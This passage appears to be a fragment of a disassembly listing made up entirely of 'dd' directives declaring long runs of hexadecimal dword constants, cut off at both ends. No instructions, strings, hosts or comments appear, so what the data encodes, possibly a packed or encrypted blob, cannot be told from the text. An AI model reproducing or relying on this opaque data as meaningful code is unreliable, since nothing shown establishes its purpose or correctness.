0C8B89C2Bh, 0E126410Ch dd 1ED619CDh, 0C24BF93Fh, 373D9BC1h, 52823471h, 4576C479h dd 0D0DC13D4h, 0D7BE12A8h, 0DE9C3C1Dh, 0B0FB5281h, 506563EAh dd 28AC483Dh, 42F08E00h, 4BFCC44Ch, 0F4595D30h, 1EF28852h dd 22E730h, 0B4ACF0D2h, 9261EB59h, 0F5ECEA18h, 7FCF6BE0h dd 58821384h, 29404899h, 1240A7C0h, 706E58FCh, 40A23EE0h dd 6607DE07h, 0A82099BAh, 0FC562B48h, 90F4770Dh, 22E4688h dd 4D2C9CF7h, 58C7CFh, 449C2AB0h, 941F1757h, 2644483Eh dd 5CE09F79h, 4D814063h, 7C6282E0h, 4A9BD818h, 793CD914h dd 0A0B186Ch, 0CEC249B7h, 0EA9802A1h, 9080F134h, 58781C9Ch dd 4BAFC0A0h, 0A80D9600h, 3681E00Fh, 27C9E88h, 275DAB5Bh dd 0B31F498h, 44F6C408h, 291D58B4h, 80050B39h, 0F0AD01EAh dd 26AC5B3h, 0FF65E166h, 90F95B1Bh, 9CBF0Bh, 7840CDE1h dd 0B02A07ECh, 809F76DBh, 0D3B51496h, 28B8E470h, 34747C72h dd 7907B0C6h, 10FB0071h, 17D9C5EFh, 0BE983785h, 6B407317h dd 7B8390C5h, 0E2F000F6h, 0FDF15DAFh, 350B7AE8h, 822C1D6Dh dd 397330Ch, 54C15E5Ah, 0BCBC2CB4h, 99008CE8h, 0D0EA91AAh dd 24FC1009h, 82B08853h, 0E6B4D381h, 6ED8F079h, 470186F6h dd 87A7DF60h, 54F223C8h, 0A85E897Ch, 0F6254C84h, 336FE274h dd 0FEFF14A0h, 80326B25h, 0EFFD5570h, 0D50D000Fh, 58CE96D6h dd 32F9E2C8h, 3148F200h, 1F40C2F3h, 0F496AC9Ch, 0A99E0F60h dd 0FF352770h, 62B84C99h, 331CF200h, 7054DBB9h, 6C4BE444h dd 0FD43040h, 797DB33Ch, 4CDA17BBh, 23783EF6h, 4FA200A8h dd 3912AF20h, 0E9C00C09h, 4C84E6DAh, 0A010702Ah, 0B7B20348h dd 88F0CA7Bh, 4B2879C9h, 83C81F73h, 0FAE6D70h, 0E1297E1h dd 45E2C052h, 12A27230h, 820F8CF5h, 0F8F868B8h, 0C939A09h dd 268CC690h, 8050CFDCh, 338DDFD9h, 7D260EBDh, 40A1F466h dd 0D8185159h, 4EB1CAC1h, 0BFD863A5h, 47D404CAh, 0C254AEBAh dd 28D2FD30h, 60C44055h, 2F2D4190h, 7C28309Bh, 0BD25B81h dd 2C4932B4h, 374496EFh, 7B78248Ch, 0EE19907Bh, 9C014DD6h dd 261C240h, 137FE50Bh, 8C2F3ABh, 81411CA4h, 30115A00h dd 4A2CC0E8h, 0F710B431h, 6D26309h, 20CE8C6Dh, 0C068D2A7h dd 81C8253Dh, 20C5B032h, 19F667C2h, 82D86992h, 10FE48DFh dd 8CA85D26h, 2314AA81h, 9A8E61Eh, 1B046ACh, 92C8DA98h dd 706880A1h, 2D86F780h, 6410E0B6h, 0B70030F8h, 0E7824BA3h dd 0ED8A135h, 0C1035AB4h, 0D13927C0h, 803CFC8Ch, 77B59711h dd 172E9088h, 1204704Dh, 55848CB0h, 0EF1B5E07h, 5CF6CA0Bh dd 0FAA900D1h, 59284C20h, 756025C7h, 41A38C19h, 8546003Ah dd 0F3709005h, 395C442Dh, 4024CE60h, 4002B9A8h, 55BC3D3Ah dd 5AA28884h, 80B299h, 651B634Eh, 48143229h, 4487FC6Ch dd 71409690h, 85C5019Dh, 30C8BBC5h, 0C43612C9h, 0CA8D0409h dd 0BE908899h, 85582C02h, 463892F0h, 0D4BF04E4h, 0CA950821h dd 0E82E1070h, 0A7F210C2h, 70E5C9E2h, 0F2185987h, 756CEF72h dd 0A3B5FC40h, 25E0E43Ah, 91D017DBh, 97A48F99h, 29D49C0Bh dd 145C82B4h, 20F8DA58h, 0B00F3BCh, 65667FB1h, 5CA603EFh dd 0A02D507Ah, 60CD5419h, 27435E0Ch, 290B2A02h, 6F316CF6h dd 0E221C10h, 8CF4F80Bh, 0FC508A64h, 3A2C5580h, 5AF26Ah dd 77D78A66h, 4A31D1B4h, 0EFE7AA0Dh, 1869B140h, 8084DAD7h dd 0DA90280Ch, 0E35E00E2h, 0D9265904h, 0FE88F050h, 0A5300FC6h dd 0CA67368Ch, 0F89850E5h, 0D89A1557h, 70A8DE26h, 8250F909h dd 0D96C24FCh, 181ED9E0h, 0E9670020h, 0A5DB827Eh, 811C8F9Fh dd 9A721F5h, 62A0057Ch, 6CC8D0CFh, 0FAA700CEh, 0DC6A9C7Bh dd 0CDA9C0A8h, 5B2F6FA8h, 0BB355D00h, 195CE506h, 0C4590E6Dh dd 8FA91B07h, 0E4113017h, 28A4358Fh, 0A4CC8CC5h, 0A6615D00h dd 0AE72B4B9h, 0D489026Ah, 0CE873AA2h, 0EF806C70h, 0F0C56624h dd 38B4E7D7h, 65B407DEh, 0F2379CBDh, 1061A8A3h, 282233h dd 6D265009h, 5C8A70h, 0D0F694C6h, 553A6A5Dh, 8B059A00h dd 24DA0F0Bh, 0B9889872h, 0F7A878ACh, 9F310386h, 0BA84D9ECh dd 0A28CFFA8h, 4B92C705h, 0CB28597h, 0CD30F6E2h, 6AE40EB5h dd 0F421C04Bh, 40FF6BF9h, 64A91B80h, 5E162200h, 9C9BB0F0h dd 0C8E2512Ch, 99AC983Ch, 0C1D9058Ch, 93ED0A85h, 3C995648h dd 0E2582377h, 3ABD30E2h, 2275C602h, 483FDF12h, 5949069Ch dd 0F0F4C8Dh, 0ED048491h, 2C9082E9h, 5182919h, 0A7B6F23Eh dd 84961Bh, 0B4F22DC0h, 380DDD9h, 80FD0098h, 5917D471h dd 13F97D34h, 0B044D381h, 117B7C14h, 88684B4Ch, 897A5F8h dd 63F7AF88h, 2980187h, 0A100D015h, 0D8D408EFh, 668356Fh dd 70DA85E2h, 0F80B60EBh, 2E66CA73h, 7C0277D8h, 409D647Eh dd 0FB21F470h, 7DD0063Bh, 0BD02E1CAh, 42FEDA7Ch, 74684841h dd 80840FEBh, 850A839Dh dd 5E230688h, 5F0621D7h, 43DA752Ah, 5EB49211h, 61400EAh dd 47B82304h, 39697B06h, 718F72Eh, 648BB2B6h, 0F8E10970h dd 0B838785Bh, 7EFC8C46h, 9D043400h, 84BF1788h, 8260B6C1h dd 76AC449Ah, 750FBCA1h, 71340291h, 1899799Ch, 6445004Ch dd 6C9BFDDBh, 674BC9F2h, 0E8118C0h, 0E38C3965h, 46A00074h dd 5402C76Dh, 80DF5240h, 0EE9480C0h, 0F67D8E1Bh, 0BED700C6h dd 0E54DA7C9h, 824DE681h, 21BC50A8h, 55774300h, 0DCD7D1C3h dd 0FACCA0D4h, 6BD34BDFh, 705C0148h, 8DA0DC42h, 0D18018A1h dd 17F18F3h, 0CE7AD6B4h, 5E4099DFh, 546C87A4h, 0E4407615h dd 9D673B53h, 0D2F61DBFh, 0C88F4481h, 7CB4ED36h, 41CADC30h dd 0EA79B7DBh, 59120067h, 3834F47Ah, 2000D68h, 297035E0h dd 1C954005h, 26DC9F98h, 0A79380F8h, 0FCD46909h, 2DC32601h dd 3D07F284h, 2D1FEE0h, 0C8DD82E0h, 0F001853Bh, 723E760Bh dd 0F4006C54h, 6A6478E8h, 8E8A06Dh, 0B828F068h, 7C12810Eh dd 2AAD8192h, 623E0158h, 7F051C98h, 11442039h, 52332022h dd 0F8F20038h, 47AF30CDh, 9026FB88h, 2C00FB4Ah, 13BE7A0Bh dd 82E40248h, 32D2FAB7h, 0EE7448C4h, 0F8C86C00h, 3A4ACF7Ah dd 274100E5h, 0E457E1Bh, 0BA01E273h, 8395F4CDh, 0E8582F8Dh dd 439C0922h, 0C1CF74Dh, 9C5DB70Eh, 0DA1BC0F1h, 0E0D08954h dd 0FC7C2502h, 73749880h, 97252320h, 40B40AD4h, 73F6467Ch dd 0D8C74500h, 0F9A624AFh, 3EEF5EC8h, 99239Ch, 0DA0EA4F0h dd 4C9691D0h, 0F66C2176h, 0EFF9E683h, 656788DFh, 94726F8h dd 6ED0768h, 32932875h, 58A65091h, 0A28BC8h, 0B45A78D9h dd 0F9A535BCh, 0FCE4D71Dh, 0BEE4C167h, 4D66ECh, 0CFC711F3h dd 33CA347Bh, 0D70AA4B9h, 0BB80A878h, 0AE836227h, 22A400BCh dd 0A29D16DCh, 0BA00A726h, 0E2ADCDEEh, 4F846C3Ch, 239C2F8Dh dd 0FF42036Fh, 0AD99474Ch, 0CED5C55Eh, 0E300B842h, 5D368C18h dd 189EC871h, 0E82501DEh, 432C888Ch, 9A839FDh, 60C603A8h dd 606BDD4h, 32A1D54Fh, 0E60048DFh, 0A4FB410Ch, 4A405D87h dd 36ACCCFDh, 0D562FE16h, 1E23F02Fh, 9FDC840Eh, 0F5622B40h dd 0EA98EDBAh, 43A0B4D4h, 84CB185h, 0C99416F4h, 6710E83Eh dd 52CAC7F6h, 0D4FC14B2h, 0B0C69678h, 4709063Ch, 0BA2B189h dd 27CB598h, 0BA9BCD54h, 0B2120070h, 1CE027D0h, 5B62F8ADh dd 0F2F0047Eh, 0B9B30C92h, 9C5C0DABh, 3A893FD2h, 0A810A42Fh dd 37B6C0F7h, 35557EBh, 0F9ECBB9h, 0D0DDE8DEh, 0BE2F7EC8h dd 0D712B5E6h, 78B09BC8h, 9D8BA40h, 541B0CCAh, 81BF7004h dd 0C4F87684h, 28D27B1Fh, 8CC2F001h, 0BC4E1A05h, 30F7A8C4h dd 39E4FB0h, 24C4BE81h, 0E398CFD9h, 3892444Bh, 0F527C073h dd 41A8448Fh, 0F687D777h, 0E3058871h, 0A3D04BD5h, 0F94EAC93h dd 4708AE9h, 5406125Dh, 0B82C49FFh, 7B582453h, 5CA40767h dd 0A0E80D66h, 864015DFh, 0E9ABD8A9h, 11319798h, 21D47C30h dd 1C3C01EEh, 0A3DC4C84h, 0A8400456h, 7686CD5Fh, 0E899362Eh dd 80BCA098h, 0E2465Eh, 13C62DC2h, 927732B1h, 98883BE8h dd 4E8F370Fh, 0A0C2DD20h, 46EBD9F5h, 1D952944h, 806A11C8h dd 9B0865D6h, 0F3B41FF5h, 0D121840Dh, 0A463078Dh, 0E0ED1DCFh dd 2A9E81CCh, 73E89B66h, 0C28500BEh, 0B07A70FBh, 0B518388Dh dd 62819BD8h, 0C65700A8h, 2AD235FDh, 0A30080B3h, 5A95FC3Fh dd 4E8CA4CBh, 545801BEh, 3F53FA2Fh, 0A912705Eh, 0B7D4550Bh dd 0A33C04D0h, 234B804h, 4101029Fh, 0AF20416Dh, 0E8C8D04Fh dd 0B79C90C3h, 3A663471h, 0E3E87BECh, 501AB0A5h, 0DCC87Ch dd 66571E3Bh, 166E96C8h, 26D030F9h, 4830EE74h, 0CB118913h dd 13C9279h, 0F45D900Bh, 0E8D7804Eh, 737AE94h, 21C279E2h dd 5563E01Dh, 541B5860h, 0F42CA423h, 5CF6933Bh, 40DC64B2h dd 0DBC0B40h, 0AC059A5Eh, 3E32E30Fh, 44F244F2h, 7778730h dd 27D6F039h, 9897601Dh, 0F24DA3FCh, 315616D4h, 71C8A4CBh dd 8C63DC0h, 0AFED16FBh, 0AC2C04BBh, 20FA009Ch, 9DC0F985h dd 91914417h, 254F8980h, 0F2098772h, 81A6485Bh, 3EFCC262h dd 60919430h, 98B1319Fh, 0D01FACEh, 807B1775h, 43C9A996h dd 48B39920h, 0EBE838CBh, 9EBB008Ch, 92EE4EA9h, 8CB238EAh dd 90DF9A07h, 0B764062Fh, 0F0000CEDh, 0F69140A8h, 735F5FC9h dd 0DF6F3C44h, 402BBD01h, 250C2023h, 995EC40h, 0E220D3B4h dd 6C805C3Dh, 0D2F06339h, 1FEA0923h, 187ADCDAh, 32526100h dd 0E0DE4BBCh, 22E90038h, 0DBE49885h, 400F711h, 79A80E2Dh dd 168F8293h, 3A4E2CEFh, 0F66C1040h, 2A829BC0h, 0B31C60AAh dd 0B21863AEh, 0A3C929F8h, 954F91D0h, 721A4570h, 989DB7F0h dd 64F78508h, 0A75887B8h, 74E00B62h, 0A3054206h, 0F0CFC8F9h dd 0E856AC09h, 240A6D94h, 81489E4Dh, 6462930Dh, 0D039BEA8h dd 6710E714h, 941D9D18h, 0CDA902EDh, 48C536h, 7208919Ah dd 25A2A102h, 0D4055CB7h, 0C1EF7Fh, 0B83008B1h, 65FD40C4h dd 2634874Ch, 0C5A79010h, 0A8B7E7D4h, 1FE79360h, 9C0312B9h dd 2E88F566h, 444C08h, 0C6AB9E0Dh, 0AF50AC4Bh, 70EBE6D0h dd 28BA3F50h, 509A554Ah, 8BCCE2C0h, 0D50B0AAAh, 8E42AF3h dd 972D9420h, 5DB708C8h, 0AE1CC06Eh, 3C8FD51h, 9B3E9640h dd 1B903820h, 354CE5FCh, 12F7178Fh, 70486841h, 0B2037914h dd 2C10C081h, 0BC3C48A4h, 0CF008C9Dh, 54D29F7Bh, 0FF81191h dd 0AF74B34Ch, 4F104380h, 8E0049BCh, 0FC9937B4h, 0BF9A15h dd 0A4CDC53Ch, 0AE67F0E5h, 7E46481Dh, 39C84107h, 68508381h dd 0FDC71180h, 0C9569CFFh, 4EC4E00Ch, 0C32008F9h, 0FFF48D21h dd 700A5FB0h, 79639B00h, 464269E4h, 0B068C2D6h, 7D20C849h dd 3013AD2h, 0D6CC4525h, 19C0A771h, 6E7A4AFCh, 82A030C0h dd 0CD8814Fh, 916F9B3Ch, 8E006768h, 0F22097Ah, 1DD37B1Dh dd 18648128h, 85CB21BBh, 0B106090Ch, 3790713Eh, 0B093E30Ah dd 8CE98F26h, 21F0507h, 0CFF08550h, 0DD3FAFE1h, 0A8828031h dd 3394C9E9h, 84BE9219h, 21805008h, 2CA89A7Fh, 8600CF61h dd 7BD9EE27h, 31A33C5h, 0CD41A7D4h, 91649B4Ah, 996098C0h dd 1010DF09h, 0C3C86475h, 98CEE80h, 687E1Ah, 3A61ECD5h dd 0C60F860Ah, 6824A737h, 0DDC24A11h, 0DAF29440h, 19346249h dd 0D921BCFAh, 3C489F3Ch, 0E6090876h, 0A9C47D10h, 991E740h dd 0E1004F54h, 0D02F98D8h, 5304526h, 1B9A3DCFh, 0E32C1D43h dd 0E9099701h, 684A8510h, 992D001h, 303F204Ah, 0E07FED4Ch dd 0A8B64629h, 89F1AD01h, 0A4F5DDBBh, 14AC6F0h, 3BA5DA8Ch dd 0F46E882Ch, 0C913FDDEh, 0EC012EE3h, 48B0ECC6h, 0CC2B4180h dd 0BD266F41h, 0B9036A7Eh, 0CD3F1440h, 70F498E0h, 399C3DDAh dd 0BAC040C8h, 0A8EECDD4h, 5533B913h, 3E2B1E01h, 72C439EDh dd 0BC8F180Dh, 774130C6h, 0D45022E4h, 24A35A80h, 5F5026E0h dd 54D12091h, 9F0BCB18h, 0F70DA65h, 0B5D32504h, 33C62081h dd 0DBF27088h, 268CD700h, 4865880Ch, 8C78CC59h, 87FFEA04h dd 6B62D156h, 83012823h, 2940E707h, 31E2CC96h, 4648D1B3h dd 80C9BFD8h, 6F0E1A2Eh, 7C4C3B7Bh, 127005Bh, 0CC1D92E6h dd 9879412Ch, 8F38CF65h, 0FFE94020h, 8C567480h, 0E1916244h dd 0CDE2C0h, 0BA394B52h, 4C233618h, 883BB62Ah, 5A46F300h dd 0F7EC644Ah, 83840028h, 9D72A988h, 0C4308DF2h, 0CCDA9C9h dd 738B0360h, 0F0F5DC49h dd 0DC8F02C9h, 487C8CA7h, 78C0D075h, 45A744Eh, 191E660h dd 83785028h, 600FEE9Eh, 0BEE88766h, 9C81D324h, 217D2030h dd 0D0D893D1h, 780EF28Ah, 0A33C33DEh, 0E910A83Ah, 4D0023A5h dd 51016E0Dh, 660F3DDCh, 0D400682Ch, 0E8F03967h, 0C3101A63h dd 7959E64Eh, 0D30F185Dh, 0A50129C6h, 68003C91h, 779752E0h dd 35F20C26h, 0C508934Dh, 0F88921C0h, 8C6651h, 3CF05586h dd 0F9062A56h, 13006290h, 0ABDE6D4Eh, 0FCCDE173h, 308EE6F3h dd 9941F0BBh, 6300A50h, 3D8B3064h, 0E48CA378h, 0E0099460h dd 118D1023h, 8FD100C0h, 0FA78ED09h, 252E03Eh, 5EBD753Bh dd 0BCA13FB5h, 24A8B9A2h, 3C60B604h, 724F7AE1h, 0F0F6260Fh dd 0A9467638h, 5F5BC600h, 9E8231E4h, 98424E26h, 0CA331740h dd 0B38D0967h, 0D8A2CE11h, 892F614Fh, 0D8FC13BDh, 2DC476Dh dd 0CE3991AAh, 0C890D20Bh, 486A4F5h, 778B52ECh, 20DE6286h dd 2752E485h, 56ABC00h, 0B6842D1h, 4CD07C3h, 39A9C162h dd 540E5C29h, 1441E91h, 11BB0C0Dh, 6CE4C042h, 0A89D0434h dd 62BCC9FEh, 95802045h, 0C90979A8h, 80F0E17Bh, 0D20A569Ch dd 0BCECA068h, 516918E3h, 0FBB5F92Ah, 0B5E3D289h, 51227020h dd 0F677238Dh, 8B00EB11h, 3E8A52DAh, 710CF4EEh, 70F2557Bh dd 0ECFC5476h, 0A6C13BE4h, 5BEB980h, 25AB454Eh, 170D1402h dd 0C6C59910h, 0CF572AD8h, 0DE510088h, 7B2B6DA8h, 0FC980EE4h dd 2C66E544h, 0A1087658h, 98411424h, 9EC2DDC8h, 0B424C1A8h dd 7386EC63h, 9026C96h, 0EE391F34h, 33AA40C5h, 4BE11271h dd 8E20013Dh, 0CD4E34F0h, 5ECCF438h, 6F483B3Eh, 9C8487B1h dd 13AE8CB0h, 9C604843h, 98019523h, 0AD10EC09h, 588B618h dd 1C097784h, 0DF06D60Ch, 9380FE3Dh, 0B4AAA427h, 35031FFAh dd 44488BA8h, 0D8C8AD18h, 0C0E18C8Eh, 0A1215686h, 502391D5h dd 0B604FFA3h, 0D9663B36h, 5C380880h, 0A8C251DEh, 2988280Bh dd 144CC1C0h, 0ABCE1252h, 903C1F66h, 8F7618C3h, 19973E1h dd 8E03AE9Dh, 60655EAFh, 12882168h, 7203834h, 1BF989Fh dd 3A626F6Dh, 0F43D21C6h, 0A424E5B2h, 65803CF7h, 555629D5h dd 288AC047h, 778EFCEEh, 0EBCE24h, 7A1501DEh, 35AF571Ah dd 331880CAh, 0A59C982h, 930C3456h, 4A9083A8h, 0CEF105FCh dd 0C7929808h, 56820004h, 4486E101h, 0FB008A1Fh, 2ADF70FFh dd 18558030h, 50137E22h, 0A9287B86h, 6D2E9C92h, 0F80830FEh dd 0A88160B6h, 9C46C9EAh, 7C1C4D22h, 7580A899h, 0FDB895FEh dd 32177389h, 91A8BEA0h, 82C6FF31h, 19E0F9ECh, 9E271024h dd 0D61000FFh, 0E2FE96BEh, 84925283h, 50016303h, 15F65E22h dd 0CCC4F7B8h, 0ABE2CF06h, 3A702847h, 42569504h, 8B0112A2h dd 42926F0Fh, 8330DAD0h, 0CA0411A8h, 8043882Ch, 27A89B82h dd 4E384588h, 0E027E83h, 86E3C7E1h, 0ED98808Ch, 1870A255h dd 803FCE41h, 0ECB0199Ah, 8468F44Dh, 14825125h, 44686C3Eh dd 0DD0386C2h, 0E2627F52h, 0F4C09506h, 0E98CF60h, 0A0C7E5E1h dd 9991B8C0h, 7A00FC25h, 61CF780h, 9BF9559h, 8B54CDCCh dd 24027829h, 0D0533899h, 600D3A93h, 0B072192Dh, 0CEEE502h dd 0C4623E6Eh, 0C7E43465h, 0A280EE60h, 0F4BD401Ch, 3EA5768Eh dd 0A42FD8D6h, 0BE03B523h, 0D5A636FAh, 0B6888CCEh, 69562FC0h dd 2412E6CEh, 1E00DEE6h, 99CDE6Dh, 0E490CA3Ah, 0E083B33Eh dd 7E761915h, 343A4952h, 41C8C72Ch, 8CF4F971h, 41330919h dd 1C18C491h, 0C7FE0751h, 11C81DE9h, 6D9D8026h, 9A77D3Eh dd 0CBA467E8h, 1F11981Dh, 13A4B780h, 5005F6BBh, 74AC1663h dd 0BB23A03Ah, 0CA02C400h, 96EBF6E3h, 9010287Ch, 199B0B0Ah dd 3C20D557h, 6A0562CCh, 0B2CE3800h, 0D20DA36h, 0CF6E647h dd 88BAE344h, 6242540h, 48DCBC0Bh, 300369C6h, 7F703B86h dd 486E794Ah, 0D5F324h, 0B009CE40h, 0D63D7563h, 50947B3Ch dd 3C840D94h, 9C6962E7h, 0C4F89011h, 0C0F5347Bh, 3CD403D0h dd 2900D650h, 57C91FA6h, 7309F3h, 0C22B5430h, 8B78D11Dh dd 0FC66612Eh, 284B1C12h, 0A6888296h, 269800F1h, 0A94A861Bh dd 802AA449h, 56F072B4h, 4B320B38h, 0BC028C0Eh, 933DC6B1h dd 0B28805CBh, 56BC8E6Eh, 42BB05Ch, 59DB0215h, 73C2A8BEh dd 0C4811478h, 1F06242h, 0BADE09E4h, 2C2CA5DAh, 9BC2A004h dd 258C1049h, 11001FF5h, 472580C5h, 64B56E9h, 6A233605h dd 0EB7F78CBh, 3BD8C806h, 98B92C57h, 8018E21Ch, 0F70C08C4h dd 51CBBD8Dh, 544E0026h, 0C7EC8C64h, 4C000DBCh, 0D2D6031Fh dd 0B4781E9Ch, 11EC2418h, 52DF809Eh, 8C8E7794h, 3F88D944h dd 2F651F7h, 61A39F0h, 1C69264Ah, 0E484E47Eh, 9DA59716h dd 0B8DA0C85h, 181A6EC0h, 4F65ECFAh, 10A32858h, 0F1829488h dd 7B6231DAh, 8BD992ECh, 0C1C4881Ch, 0D07F2F93h, 60FB65F4h dd 0C709F569h, 0BB717Bh, 461CCC30h, 61BCA26Ch, 8718DEC0h dd 0CA23A870h, 60361E8Ch, 0A89F7E00h, 0E43206DEh, 718E06A5h dd 0B04C1241h, 7B275E73h, 136C2E20h, 5E9588Ch, 0DE777A52h dd 5C8BEBh, 0DA52E18Ah, 903E9BBh, 0A74A2582h, 53C9F402h dd 5CC5B704h, 36C4E88Bh, 0E84D30CAh, 595F1671h, 60140FD2h dd 0EE120610h, 4B07E15h, 3B0B9CCAh, 381CB1CFh, 8C57B8E8h dd 0DFF69600h, 0E378BF63h, 6E1C02EDh, 1E23E8F4h, 0FC02C04Ah dd 88586853h, 465E6CB4h, 0C50100B5h, 325177B0h, 21BCA46Dh dd 0DC297E17h, 9218C771h, 0E946FA00h, 7DE8985Ch, 4A180B1Ch dd 48A557DEh, 0FF2D81C1h, 0B07AE621h, 84376800h, 0E01B0662h dd 0E55F09B8h, 60E4CCA2h, 847FD14h, 0AB1F21ACh, 601359A8h dd 8103C408h, 915173DCh, 1098047Bh, 0C1D567BEh, 63CAE264h dd 3029F248h, 1B009945h, 0DA5D2CC0h, 49125BC9h, 480098C7h dd 993C0DC1h, 0E8A06C9Eh, 4986DA06h, 0B0583801h, 0F8CAAE8h dd 0F63EFAC6h, 68473CE2h, 0CD1A9C60h, 0F296D09Ch, 0D0C37452h dd 57E928F6h, 0E9780078h, 0D5129A22h, 0AC9EDBBDh, 88205516h dd 0E1F4EFDFh, 1F4002C8h, 18598DDh, 75208B44h, 0B88C28D2h dd 0A4008CD6h, 0FB7ACE4Eh, 0BCD82345h, 0B5465C34h, 0B4CE007Ch dd 36524977h, 0C706CDDBh, 0B8DA4B71h, 3CA0A0F0h, 285E872h dd 0D983C481h, 0B8C70EACh, 4D602044h, 5A033024h, 4AF669DAh dd 5192E04Ch, 0B75D2615h, 4D217484h, 300580C8h, 0F1178D3Fh dd 0BDB01904h, 484D739h, 58B358F6h, 0BEB72F0h, 11E6C002h dd 47F8FAh, 0D095DAB8h, 710B7490h, 296FC249h, 0C4C8E510h dd 193560C4h, 756A3C0Bh, 6F02928Eh, 0E64B49A1h, 0F6B434A6h dd 27733B27h, 8D00F700h, 30B89C9Ah, 48088097h, 21C06745h dd 0CDCCFFE9h, 0C75F0B0Ch, 34432EE3h, 0DA063CD0h, 3741380h dd 7BC9ACFCh, 200EF661h, 5045FA52h, 65766E3Eh, 251418BEh dd 0C3D4B08Ch, 40008648h, 12195638h, 4438F822h, 0A93A3034h dd 0BDF4D718h, 849548DCh, 1CD69D03h, 3012FB4Ah, 9C25E08Bh dd 72A5EC02h, 40A89251h, 3A7A0674h, 0CE023901h, 9392B2E3h dd 6096E884h, 7225098Bh, 0EC7B480Fh, 98704B0h, 4074FE00h dd 6558F498h, 0AE4E3E83h, 0AAA628FEh, 0F3E13888h, 0A3D38D80h dd 111520B2h, 4B3B62Eh, 30F97582h, 82280053h, 6F437C4h dd 0C06EFE5Eh, 42137A00h, 0F7A77FE4h, 0D1177412h, 37D2200Bh dd 39A601D4h, 0E8834BF0h, 0BD76D80Bh, 0A01A20h, 0CC0F27EDh dd 9A8C9E44h, 2F7639F0h dd 0BC17255Eh, 0B00706Eh, 163279D5h, 0C5105D38h, 9F021A1Bh dd 0C8D224D6h, 10848B05h, 80CEE817h, 0C1CEB6C8h, 76D78DFBh dd 0B84C6479h, 173B26h, 0A9AEAFA8h, 0D7007775h, 0CF7BD61Eh dd 3005BFA4h, 3931A7CEh, 4959C66h, 34C61BC8h, 3EAE0519h dd 0F550EE3h, 3B23D094h, 0E9002544h, 85FB134Eh, 5EF03EDh dd 212CC3F1h, 0AF788C72h, 0EB495260h, 4AA5Ah, 9C8D346Ah dd 0B4C0A99h, 16BE700h, 0BF49B758h, 42F45FFDh, 109C289Ch dd 0C1805C54h, 2BC74333h, 563C78B0h, 0FE02C890h, 315693FFh dd 94102331h, 0BB7CFFF5h, 0FC74C00h, 73AAEEECh, 99009219h dd 1823D1C0h, 0FFC9089h, 0FBD95862h, 0B1257385h, 3C9C591Ch dd 8C50BC18h, 9B36A04h, 0F087E4F5h, 0BC90EA34h, 259D7A30h dd 0B417DA15h, 2C82BC11h, 1261C487h, 50A897C5h, 0D38F1400h dd 5151057h, 9BB60F7Eh, 31CCC981h, 0D03281h, 2B744EABh dd 7F1061Eh, 59E72898h, 0EAE150B7h, 0BC982F8Bh, 9C35C824h dd 117C97C9h, 0FA019D24h, 9A340291h, 606DB231h, 3555A013h dd 0F294A2C0h, 0F5F4303Ah, 56186500h, 1BDC9910h, 41575EE3h dd 0D02EB984h, 131CF868h, 86CC781Fh, 9D494137h, 80C1113Ch dd 469A5E2Eh, 0EE191D0Dh, 143FC477h, 0B36C84E9h, 30D9E25Ch dd 0C891B77Dh, 2CC54A08h, 3C370B40h, 8E585402h, 0B6F79490h dd 0A8800486h, 0A284C9FFh, 9881C060h, 0E2EC6EA8h, 58D0122Dh dd 4B548DE0h, 0C01F88BCh, 0BDBC2411h, 399C5617h, 28C05094h dd 12C82F1Fh, 92EC7D7Bh, 0EC970A5Ch, 429D5291h, 68FA7611h dd 920178F8h, 60325607h, 0B0293E2Bh, 11001FB8h, 0C225E987h dd 204BEA05h, 7E098B6Eh, 0E166CA0Bh, 74230F04h, 331DA2h dd 0ADC219A0h, 2FE3AC45h, 20D39C27h, 0F7A5BE04h, 4C8AE616h dd 66C1C870h, 0A7BAFA40h, 91F49788h, 0C632806Bh, 20BCC2Dh dd 9A4AFCB8h, 3C890DCFh, 0BD225C40h, 12497305h, 4C84DB34h dd 0FEB0FCA6h, 17084E51h, 9E20652h, 6410A4D7h, 0C6B09C87h dd 0F270FA00h, 0C1A7B652h, 1D350D74h, 0D07AC0FDh, 1C30CD8Ch dd 0EBE459B9h, 0D7FF0260h, 0C9C67416h, 66391841h, 2F96E308h dd 54B52738h, 0C2B82E80h, 41A35Eh, 0BE145247h, 2A75D34Bh dd 20D99491h, 0DA00C918h, 63D57035h, 15CDCC53h, 0CCA95604h dd 55024100h, 0E81C7F92h, 0D0358626h, 1C609713h, 219952E6h dd 8FC09677h, 9B252DEh, 121B98CBh, 50D17440h, 8C893860h dd 0F42FC6h, 366A9E3Eh, 7EB20162h, 8043423Eh, 11F7EBE7h dd 7D1EE19Fh, 0E8AA00EDh, 7E50FF3Bh, 0EC2E807Ah, 450BA097h dd 99528070h, 2266E8Eh, 819DC90Ch, 0C54D7DFh, 57465Eh dd 478DD8CEh, 3E64B226h, 0D2FA2250h, 0B2F0E3C0h, 0DD973023h dd 0E0540A95h, 121A4674h, 78F786EDh, 23EC2B4Fh, 152800EBh dd 43BD68FBh, 47245C09h, 80B4B7C6h, 0BB83BD17h, 8226CC27h dd 215EFC0Ah, 0FDBFCA36h, 3A806B5Ah, 97C6E7CDh, 8071ECA9h dd 24FA1504h, 6AB0E890h, 0CFA980F0h, 4E83D9C0h, 2C163E1Ah dd 0BA4C599h, 28652908h, 0A7E14D88h, 55004437h, 9A68AE33h dd 0B8C7819h, 0DAE22A50h, 57621467h, 0C5881BC8h, 4E700BACh dd 3074C8C0h, 0BE6EFE2h, 8EAA4BE9h, 3CB0F0A2h, 59F1BCD1h dd 91010A18h, 70321314h, 12FD57Bh, 3B6AD008h, 90352E4Bh dd 6B236C2Eh, 31CD0100h, 7458A393h, 4E8E0EABh, 0E4E0E573h dd 6E3BC88h, 0A0C8834Bh, 289186B7h, 0EB18C171h, 6200D8EAh dd 731BB649h, 257E2E2Ah, 9C405E3Bh, 31C98146h, 12C01057h dd 6EA600E6h, 86BFCB53h, 0E1007E27h, 0E9CFCEFEh, 2100ABAh dd 0D144356h, 0B45E1FDAh, 0D706286Ah, 9110DBB0h, 0CA36D8E0h dd 46ED3A86h, 42E410Bh, 10268200h, 0A758CDF1h, 0B60DC334h dd 216FD0D3h, 0A01D9DC5h, 6A80C511h, 106397DDh, 96762018h dd 7B56F61h, 0F9799C4Eh, 0E027D0C7h, 5F02053Dh, 0B242F82Bh dd 2F07044h, 0FA5601C8h, 0A880D255h, 8ED308A3h, 6986B530h dd 5BDA4977h, 9FAC4450h, 0CC30038h, 3B16C157h, 22092456h dd 0D080F6B7h, 72980187h, 0E0C8B926h, 0B70B6090h, 0F4173D30h dd 5A80BF11h, 0A5351E40h, 90A9B02Ah, 0C805C99h, 